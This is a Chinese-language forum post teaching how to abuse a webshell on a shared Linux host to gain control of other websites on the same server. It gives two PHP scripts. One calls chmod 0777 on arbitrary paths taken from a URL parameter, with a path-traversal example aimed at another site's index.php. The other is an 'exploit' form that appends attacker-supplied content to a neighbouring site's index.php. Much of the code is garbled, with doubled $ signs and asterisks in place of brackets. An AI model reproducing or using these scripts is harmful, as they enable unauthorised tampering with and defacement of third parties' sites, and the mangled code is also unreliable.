2026年10月31日 · 今日 0 帖 · 会员 6.1万 · 主题 17.4万
登录 · 注册 · 游客,欢迎随便逛逛
返回版块
11406
Lv1韶华一笑间等级图标
帖子
62
回复
120
积分
2,076
注册
2011-02-07
[怀旧国机]

linux下用webshell对文件权限的修改

[复制链接]
查看 263 回复 0
楼主 发表于 | 只看该作者
8 人收藏

当我们拥有了一个linux下的shell(服务器上多个网站)。

这个shell对所在站点的根目录有可写入权限,甚至能查看其他网站的目录。

那么,这样的主机设置肯定是不安全的。

有的时候,我们想对获得同服务器的其他站的权限,比如直接对其他站点的index.php进行修改,却发现没有权限。

我们可以尝试通过以下脚本来实现对其他站点的文件添加权限。

代码:

<?php

$$path = stripslashes($$_GET*’path’*);

$$ok = chmod ($$path , 0777);

if ($$ok == true)

echo “ CHMOD OK , Permission editable file or directory. Permission to write“;

?>

保存为chmod.PHP

使用方法简单,访问

http://site/chmod.php?path=../../其他站点的目录/index.php

这里的index.PHP是要修改权限的文件。

另外一个exploit:

把下面的代码保存为exploit.PHP

代码:

<?php

@$$filename = stripslashes($$_POST*’filename’*);

@$$mess = stripslashes($$_POST*’mess’*);

$$fp = @fopen(“{$$_POST*’filename’*}“, ’a’);

@fputs($$fp,“$$mess <hr size=\“1\“ color=\“black\“>“);

@fclose($$fp);

?>

<form name=“form1“ action=“exploit.php“ method=“post“>

<p align=“center“><b>

<br>

CODE :<br>

<textarea name=“mess“ rows=“3“></textarea></font></b></textarea>

</font></b> <p><input type=“hidden“ name=“filename“ value=“../../AUTRE WEBSITE SUR LE MULTIHOSTING/index.php“></p>

<center>

<input type=“reset“ name=“Submit“ value=“*“>

<input name=“go“ type=“submit“ value=“Send“ >

<center>

</form>

<meta http-equiv=“Content-Type“ content=“text/html; charset=iso-8859-1“>

<title>Changing CHMOD Permissions Exploit - Contact : the_gl4di4t0r*AT*hotmail*DOT*com</title>

</head>

<body>

</center>

</body>

登录回复

登录后可以回复这个帖子。旧账号可使用原密码登录。

登录 注册新号
← 返回版块